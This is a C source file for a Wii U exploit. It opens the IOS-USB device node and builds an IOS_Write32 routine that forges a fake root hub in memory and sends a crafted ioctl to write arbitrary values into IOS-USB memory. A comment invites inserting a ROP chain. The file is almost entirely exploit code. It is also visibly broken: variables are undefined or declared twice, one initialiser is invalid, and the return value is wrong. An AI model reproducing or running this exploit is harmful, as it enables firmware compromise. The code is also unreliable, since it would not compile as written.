IOS-USB exploitation

#include "../../../libwiiu/src/coreinit.h"
#include "../../../libwiiu/src/mem.h"
#include "../../../libwiiu/src/draw.h"
#include "../../../libwiiu/src/types.h"

void _start();
int IOS_Write32(int uhs_dev_node, unsigned int addr, unsigned int value);

void _start()
{
    /* Load a good stack */
    asm(
        "lis %r1, 0x1ab5 ;"
        "ori %r1, %r1, 0xd138 ;"
    );

    unsigned int coreinit_handle;
    OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);

    void(*_Exit)();
    void (*__PPCExit)();
    OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
    OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);

    /* IOS functions */
    int(*IOS_Open)(char *path, unsigned int mode);
    int(*IOS_Close)(int fd);
    OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
    OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);

    int uhs_dev_node = IOS_Open("/dev/uhs/0", 0); // Open the uhs node

    /* Now, you can insert here your ROP Chain into IOS-USB using IOS_Write32 calls */

    _Exit();

    while(1);


}

int IOS_Write32(int uhs_dev_node, unsigned int addr, unsigned int value) {

    /* Memory functions */
    void (*DCFlushRange)(void *buffer, uint32_t length);
    void (*DCInvalidateRange)(void *buffer, uint32_t length);
    void* (*OSAllocFromSystem)(uint32_t size, int align);
    void (*OSFreeToSystem)(void *ptr);
    uint32_t (*OSEffectiveToPhysical)(void *vaddr);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);

    int(*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer, uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
    OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);


    uint32_t *buffer = (uint32_t*)OSAllocFromSystem(0x100, 0x10); // Alloc 0x100 bytes
    memempty(buffer, 0x100); // Empty the new buffer

    /* Setup the buffer */
    buffer[0] = {-0xBAF9C}; // Make IOS-USB to read at 0xF500002C // MEM1_MIDDLE + (24 + 8), it's the only way i managed for it to work
    buffer[1] = value;

    uint32_t *fake_root_hub = (uint32_t*)0xF500002C;
    uint32_t *temporary_data = (uint32_t*)0xF4500000; // MEM1 + 0x00500000

    fake_root_hub[78] = 0; // We have to declare it because if we don't IOS-USB will return an error ! (sometimes, crash)
    fake_root_hub[33] = temporary_data - MEM1_BASE; // declared on "mem.h"

    temporary_data[5] = 1; // IOS-USB check if temp_data[5] is declared so :/
    temporary_data[8] = temporary_data - MEM1_BASE;
    temporary_data[520] = addr - 24;

    DCFlushRange(buffer, 0x70); // Flush the whole buffer
    DCFlushRange(fake_root_hub, 79 * 4); // Flush fake_root_hub from [0] to [78]
    DCFlushRange(temporary_data, 521 *4); // Flush temp_data to [0] to [520]

    int ctr;
    for(i = 0; i < 0x20000; i++) ctr++; // Copied from gx2sploit // Wait a bit

    int return_value = IOS_Ioctl(uhs_dev_node, 0x15, buffer, 0x70, (void*)0, 0); // Perform the root_hub desactivation

    int ctr;
    for(i = 0; i < 0x20000; i++) ctr++; // Wait a bit, again

    return ret;

}